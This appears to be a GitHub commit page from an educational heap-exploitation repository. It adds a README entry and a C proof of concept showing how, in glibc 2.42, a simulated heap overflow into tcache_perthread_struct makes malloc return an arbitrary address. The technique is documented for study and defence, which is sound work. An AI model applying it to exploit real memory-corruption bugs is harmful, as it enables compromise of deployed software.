Skip to content

Commit 60c4107

Browse files
committed
new technique in 2.42
1 parent 49a2c77 commit 60c4107

File tree

2 files changed

+39
-0
lines changed

2 files changed

+39
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,7 @@ We came up with the idea during a hack meeting, and have implemented the followi
4444
| [tcache_metadata_poisoning.c](glibc_2.27/tcache_metadata_poisoning.c) | | Trick the tcache into providing arbitrary pointers by manipulating the tcache metadata struct | >= 2.26 | | |
4545
| [house_of_io.c](glibc_2.31/house_of_io.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.31 - 2.33 | | |
4646
| [tcache_relative_write.c](glibc_2.41/tcache_relative_write.c) | | Arbitrary decimal value and chunk pointer writing in heap by out-of-bounds tcache metadata writing | 2.30-2.41 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508) | |
47+
| [tcache_metadata_hijacking](glibc_2.42/tcache_metadata_hijacking.c) | | Arbitrary allocation by overflow into tcache metadata | >= 2.42 | | |
4748

4849
The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.
4950
Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <assert.h>
4+
5+
int main()
6+
{
7+
// disable buffering so _IO_FILE does not interfere with our heap
8+
setbuf(stdin, NULL);
9+
setbuf(stdout, NULL);
10+
11+
// introduction
12+
puts("This file demonstrates an interesting feature of glibc-2.42: the `tcache_perthread_struct`");
13+
puts("may not be at the top of the heap, which makes it easy to turn a heap overflow into arbitrary allocation.\n");
14+
15+
16+
puts("In the past, before using the heap, libc will initialize tcache using `MAYBE_INIT_TCACHE`.");
17+
puts("But this patch removes the call in the non-tcache path: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508");
18+
puts("As a result, we can put many large chunks before tcache_perthread_struct");
19+
puts("and use a heap overflow primitive (or chunk overlapping) to hijack `tcache_perthread_struct`\n");
20+
21+
long target[0x4] __attribute__ ((aligned (0x10)));
22+
23+
long *chunk = malloc(0x420);
24+
printf("first, allocate a large chunk at the top of the heap: %p\n", chunk);
25+
void *p1 = malloc(0x10);
26+
free(p1);
27+
printf("now, allocate a chunk and free it to initialize tcache_perthread_struct and put it right before our chunk\n");
28+
printf("the tcache_perthread_struct->tcache_entry[0] should be initialized with %p\n", p1);
29+
30+
printf("Now, we simulate an overflow vulnerability to overwrite the pointer\n");
31+
/*Vulnerability*/
32+
chunk[0x420/8+21] = (long)&target[0];
33+
/*Vulnerability*/
34+
35+
void *p2 = malloc(0x10);
36+
printf("Then the next allocation will be at our wanted address: %p\n", p2);
37+
assert(p2 == &target[0]);
38+
}

0 commit comments

Comments
 (0)